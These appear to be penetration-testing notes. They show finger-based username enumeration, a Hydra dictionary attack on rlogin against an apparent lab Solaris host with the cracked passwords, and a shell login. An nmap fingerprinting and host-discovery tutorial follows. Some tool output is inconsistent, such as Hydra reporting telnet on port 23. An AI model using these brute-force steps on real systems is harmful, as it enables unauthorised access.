79/tcp  open  finger  Sun Solaris fingerd
513/tcp open  login
MAC Address: 08:00:27:63:61:B7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Sun Solaris 9|10, Sun OpenSolaris
OS CPE: cpe:/o:sun:sunos:5.9 cpe:/o:sun:sunos:5.10 cpe:/o:sun:opensolaris
OS details: Sun Solaris 9 or 10, Sun Solaris 9 or 10, or OpenSolaris 2009.06 snv_111b
Network Distance: 1 hop
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.68 seconds
root@asus:~/pentest_notes% 

Here we see we have two ports open, the fingerd process and the rlogin service on port 513. Our next step is to try and query the finger daemon to see if there are any connected users currently on the system.

Query the finger daemon

root@asus:~/pentest_notes% finger @osiris.acme.com
Login       Name               TTY         Idle    When    Where
root     Super-User            console        3 Wed 22:37  :0                  
stacey          ???            pts/3          1 Wed 22:39  192.168.0.100       
larry           ???            pts/4            Wed 22:21  192.168.0.132       
barrett         ???            pts/5            Wed 22:44  192.168.0.33       
slade           ???            pts/6            Wed 22:40  192.168.0.10
hayes           ???            pts/7            Wed 22:11  192.168.0.232
virginia        ???            pts/8            Wed 22:05  192.168.0.5
root@asus:~/pentest_notes%

This is the list of usernames we will use to try and guess a correct login/passwd combnation for. if we go further and query a specfic user we see that what is returned is the username and the remote host where the user is connecting from which gives us insight in to how their internal network is addressed.

root@asus:~/pentest_notes% finger larry@osiris.acme.com
Login       Name               TTY         Idle    When    Where
larry           ???            pts/4            Wed 22:40  192.168.0.132       
root@asus:~/pentest_notes% 

Now we can try and gain access to the remote host by a dictonary attack using our enumerated names, the rockyou wordlist and the Hydra tool.

Using Hydra to crack remote logins

root@asus:~/pentest_notes% hydra -L rlogin-users.txt -P rockyou.txt rlogin://osiris.acme.com
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-26 22:55:17
[DATA] max 16 tasks per 1 server, overall 64 tasks, 42 login tries (l:7/p:6), ~0 tries per task
[DATA] attacking service telnet on port 23
[513][rlogin] host: osiris.acme.com   login: larry   password: bc04hnu
[513][rlogin] host: osiris.acme.com   login: barrett   password: 3633mb
[513][rlogin] host: osiris.acme.com   login: slade   password: zenun77
[513][rlogin] host: osiris.acme.com   login: hayes   password: cubby1
[513][rlogin] host: osiris.acme.com   login: virginia   password: sexy1984
1 of 1 target successfully completed, 5 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-26 22:55:50
root@asus:~/pentest_notes% 

Once we have found some successful login combinations, its now time to try and see if any of the logins work on the remote host. For this we will be using rlogin to verify out results.

Testing remote logins

root@asus:~/pentest_notes% rlogin osiris.acme.com -l virginia
The authenticity of host 'osiris.acme.com (192.168.0.130n)' can't be established.
RSA key fingerprint is SHA256:pqvyzr0herRl6SBTTwJdx5K4kfNjbTkoU4boVeE983I.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'osiris.acme.com' (RSA) to the list of known hosts.
Password: 
Last login: Wed Dec 26 23:25:18 2018 from 192.168.0.100
Oracle Corporation      SunOS 5.10      Generic Patch   January 2005
$ id
uid=108(virginia) gid=1(other)
$ exit
Connection to osiris.acme.com closed.
root@asus:~/pentest_notes% 

As you can see we found a succesful login and now have a local shell on the remote host we can work from to try and further gain higher privleges.

NMAP Fingerprinting with Examples

NMAP (Service Fingerprinting)

Try to fingerprint currently running services on host

nmap -sV target

root@asus:~/unix% nmap -sV 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-20 11:19 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up (0.000033s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
389/tcp  open  ldap    OpenLDAP 2.2.X - 2.3.X
631/tcp  open  ipp     CUPS 2.1
3306/tcp open  mysql   MySQL 5.7.25-0ubuntu0.16.04.2
6667/tcp open  irc     InspIRCd
Service Info: Host: irc.local

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.73 seconds
root@asus:~/unix% 

Specify how many probes (intensity) to send to host for fingerprinting

nmap -sV --version-intensity [0-9] target

root@asus:~/unix% nmap -sV --version-intensity 5 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-20 11:22 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up (0.000017s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
389/tcp  open  ldap    OpenLDAP 2.2.X - 2.3.X
631/tcp  open  ipp     CUPS 2.1
3306/tcp open  mysql   MySQL 5.7.25-0ubuntu0.16.04.2
6667/tcp open  irc     InspIRCd
Service Info: Host: irc.local

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.49 seconds
root@asus:~/unix% 

NMAP (OS Fingerprinting)

Try to guess remote hosts OS

nmap -O target

root@asus:~/unix% nmap -O 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-20 11:28 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up (0.000024s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
389/tcp  open  ldap
631/tcp  open  ipp
3306/tcp open  mysql
6667/tcp open  irc
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.7 - 3.10, Linux 3.8 - 4.0
Network Distance: 0 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.50 seconds
root@asus:~/unix% 

Verbose for more information

The more ‘v’s you add the more verbose the output nmap produces

nmap -O -v target

root@asus:~/unix% nmap -O -v 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-20 11:28 MDT
Initiating SYN Stealth Scan at 11:28
Scanning fox.acme.com (192.168.0.25) [1000 ports]
Discovered open port 3306/tcp on 192.168.0.25
Discovered open port 80/tcp on 192.168.0.25
Discovered open port 389/tcp on 192.168.0.25
Discovered open port 6667/tcp on 192.168.0.25
Discovered open port 631/tcp on 192.168.0.25
Completed SYN Stealth Scan at 11:28, 1.70s elapsed (1000 total ports)
Initiating OS detection (try #1) against fox.acme.com (192.168.0.25)
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up (0.000038s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
389/tcp  open  ldap
631/tcp  open  ipp
3306/tcp open  mysql
6667/tcp open  irc
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.11 - 3.14, Linux 3.7 - 3.10, Linux 3.8 - 4.0
Uptime guess: 13.560 days (since Sat Apr  6 22:02:01 2019)
Network Distance: 0 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/bin/../share/nmap
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.46 seconds
           Raw packets sent: 1116 (51.808KB) | Rcvd: 2241 (98.212KB)
root@asus:~/unix% 

Aggressive scan

This is basically the same as ‘nmap -sV -O -sC --traceroute target’

nmap -A target

root@asus:~/unix% nmap -A 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-20 11:30 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up (0.000045s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
389/tcp  open  ldap    OpenLDAP 2.2.X - 2.3.X
631/tcp  open  ipp     CUPS 2.1
| http-methods: 
|_  Potentially risky methods: PUT
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: CUPS/2.1 IPP/2.1
|_http-title: Home - CUPS 2.1.3
3306/tcp open  mysql   MySQL 5.7.25-0ubuntu0.16.04.2
| mysql-info: 
|   Protocol: 53
|   Version: .7.25-0ubuntu0.16.04.2
|   Thread ID: 34
|   Capabilities flags: 63487
|   Some Capabilities: LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsLoadDataLocal, SupportsTransactions,
 DontAllowDatabaseTableColumn, Speaks41ProtocolNew, ODBCClient, IgnoreSigpipes, InteractiveClient, ConnectWithDatabase, 
FoundRows, LongPassword, IgnoreSpaceBeforeParenthesis, SupportsCompression
|   Status: Autocommit
|   Salt: tk :w%q8B\x08Sb
|_\x03l\x1E p\x05c
6667/tcp open  irc     InspIRCd
| irc-info: 
|   server: irc.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.0.25
|_  error: Closing link: (nmap@192.168.0.25) [Client exited]
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.7 - 3.10, Linux 3.8 - 4.0
Network Distance: 0 hops
Service Info: Host: irc.local

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.64 seconds
root@asus:~/unix%

NMAP Host Discovery Scanning with Examples

Host Discovery

Host discovery is an important part of security testing a network. Luckily, nmap provides us with a wealth of option we can use against hosts to check their ‘up’ status. All of the commands that follow in the ‘discovery’ section will use the ‘-sn’ option. The ‘-sn’ option tells nmap not to run a port scan against the host or do DNS resolution and just to check to see if the host is alive. This will speed up the scan.

Ping sweep

nmap -sn target

root@asus:~/unix% nmap -sn 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 21:16 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.02 seconds
root@asus:~/unix% 

SYN ping scan

Send a TCP SYN Packet to port 80 and 443 to see if the host is up

nmap -sn -PS80,443 target

root@asus:~/unix% nmap -sn -PS80,443 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:14 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.01 seconds
root@asus:~/unix% 

ACK ping scan

Send a TCP ACK Packet to port 80 and 443 to see if the host is up

nmap -sn -PA80,443 target

root@asus:~/unix% nmap -sn -PA80,443 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:14 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
root@asus:~/unix% 

UDP ping scan

Send a UDP Ping to ports 53 and 137 to see if the host is up

nmap -sn -PU53,137 target

root@asus:~/unix% nmap -sn -PU53,137 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:15 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
root@asus:~/unix% 

ICMP ping scan

Send an ICMP Echo Request to see if the host is up

nmap -sn -PE target

root@asus:~/unix% nmap -sn -PE 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:16 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.01 seconds
root@asus:~/unix% 

ICMP timestamp reply

Send an ICMP TIMESTAMP reply to see if the host is up

nmap -sn -PP target

root@asus:~/unix% nmap -sn -PP 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:17 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
root@asus:~/unix%

ICMP address mask reply

Send and ICMP address mask reply to see if the host is up

nmap -sn -PM target

root@asus:~/unix% nmap -sn -PM 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:19 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.02 seconds
root@asus:~/unix% 

IP Protocol ping scan using ICMP, IGMP, TCP using 255 byte random payload

nmap -sn -PO1,2,6 --data-len 100 target

root@asus:~/unix% nmap -sn -PO1,2,6 --data-len 255 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:20 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
root@asus:~/unix% 

Arp Ping Scan

nmap -sn -PR target

root@asus:~/unix% nmap -sn -PR 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:20 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
root@asus:~/unix% 

NO Ping

Do not ping the target just check to see if it is up

nmap -sn -Pn target

root@asus:~/unix% nmap -sn -Pn 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:21 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.02 seconds
root@asus:~/unix%